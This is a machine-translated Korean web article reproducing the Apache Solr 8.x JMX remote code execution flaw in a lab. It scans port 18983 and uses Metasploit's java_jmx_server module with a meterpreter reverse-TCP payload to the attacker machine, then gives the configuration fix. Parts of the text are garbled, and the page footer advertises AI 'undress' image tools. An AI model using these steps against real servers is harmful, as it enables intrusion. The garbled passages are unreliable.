찾다
운영 및 유지보수안전Apache Solr JMX 서비스에서 RCE 취약점을 재현하는 방법

0x00 소개

Solr는 웹 서비스와 유사한 API 인터페이스를 제공하는 독립된 기업용 검색 애플리케이션 서버입니다. 사용자는 http 요청을 통해 특정 형식의 XML 파일을 검색 엔진 서버에 제출하여 인덱스를 생성할 수 있으며, Http Get 작업을 통해 검색 요청을 하고 XML 형식으로 반환된 결과를 얻을 수도 있습니다.

이 취약점은 기본 구성 파일 solr.in.sh의 ENABLE_REMOTE_JMX_OPTS 구성 옵션의 보안 위험으로 인해 발생합니다.

ENABLE_REMOTE_JMX_OPTS="true" 옵션은 Apache Solr 버전 8.1.1 및 8.2.0의 내장 구성 파일 solr.in.sh에 있습니다.

해당 버전의 기본 solr.in.sh 파일을 사용하는 경우 JMX 모니터링이 활성화되고 RMI_PORT(기본값 = 18983),

에 노출되며 인증이 필요하지 않습니다. 방화벽에서 인바운드 트래픽을 위해 이 포트가 열려 있으면 Solr 노드에 대한 네트워크 액세스 권한이 있는 사람은 누구나 JMX에 액세스할 수 있으며

Solr 서버에서 실행될 악성 코드를 업로드할 수 있습니다. 이 취약점은 Windows 시스템 사용자에게는 영향을 미치지 않으며 일부 Linux 버전 사용자에게만 영향을 미칩니다.本0x01 Impact 버전 0apache Solr8.1.1 version Line time : 2019-05-28

APACHE SOLR8.2.0 version Line time : 2019-07-25

0x02 Vulnerability Harm

피해자가 이용되면 피해자는 이 기본 구성이 구성되면 JMX 서비스는 기본 포트 18983에서 열리고 기본적으로 인증이 활성화되지 않습니다. 이 포트에 액세스할 수 있는 모든 공격자는 이 취약점을 악용하여 영향을 받는 서비스에 대한 공격을 시작하고 임의 코드를 실행할 수 있습니다.

0x03 환경 구축

Java 환경과 kali 시스템, Solr 8.20

Solr 8.20 다운로드 주소: wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2 .0.zip

unzip solr-8.2.0.zip을 사용하여 압축을 푼다.

如何进行Apache Solr JMX服务RCE漏洞复现

압축이 완료된 후 bin 디렉터리로 전환하여 Solr

./solr start -force

如何进行Apache Solr JMX服务RCE漏洞复现

을 시작합니다.

시작 후 액세스 :http://192.168.10.176:8983/

如何进行Apache Solr JMX服务RCE漏洞复现

0x04 취약점 재발

如何进行Apache Solr JMX服务RCE漏洞复现 공격 머신: kali IP: 192.168.10.147

피해 머신: Ubuntu18.6의 docker IP: 192.168. 10 .184:8983 1. nmap을 사용하여 포트 18983이 열려 있는지 확인합니다.

2. 취약점을 재현하려면 Metasploit의 explore/multi/misc/java_jmx_server 모듈을 사용하세요.

Ø multi/misc/java_jmx_server

如何进行Apache Solr JMX服务RCE漏洞复现Ø set RHOST 192.168.10.184

Ø set RPORT 18983

페이로드 설정: java/meterpreter/reverse_tcp

Ø set 페이로드 java/meterpreter/reverse_tcp

如何进行Apache Solr JMX服务RCE漏洞复现Ø 설정 LHOST 192.16 8.10. 147 Ø 설정 LPORT 4444

3을 사용하여 실행되면 연결이 성공적으로 설정되어 있음을 알 수 있습니다. .sh 구성 파일을 false로 설정한 다음 Solr 서비스를 다시 시작합니다.

위 내용은 Apache Solr JMX 서비스에서 RCE 취약점을 재현하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명
이 기사는 亿速云에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

MinGW - Windows용 미니멀리스트 GNU

MinGW - Windows용 미니멀리스트 GNU

이 프로젝트는 osdn.net/projects/mingw로 마이그레이션되는 중입니다. 계속해서 그곳에서 우리를 팔로우할 수 있습니다. MinGW: GCC(GNU Compiler Collection)의 기본 Windows 포트로, 기본 Windows 애플리케이션을 구축하기 위한 무료 배포 가능 가져오기 라이브러리 및 헤더 파일로 C99 기능을 지원하는 MSVC 런타임에 대한 확장이 포함되어 있습니다. 모든 MinGW 소프트웨어는 64비트 Windows 플랫폼에서 실행될 수 있습니다.

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

mPDF

mPDF

mPDF는 UTF-8로 인코딩된 HTML에서 PDF 파일을 생성할 수 있는 PHP 라이브러리입니다. 원저자인 Ian Back은 자신의 웹 사이트에서 "즉시" PDF 파일을 출력하고 다양한 언어를 처리하기 위해 mPDF를 작성했습니다. HTML2FPDF와 같은 원본 스크립트보다 유니코드 글꼴을 사용할 때 속도가 느리고 더 큰 파일을 생성하지만 CSS 스타일 등을 지원하고 많은 개선 사항이 있습니다. RTL(아랍어, 히브리어), CJK(중국어, 일본어, 한국어)를 포함한 거의 모든 언어를 지원합니다. 중첩된 블록 수준 요소(예: P, DIV)를 지원합니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경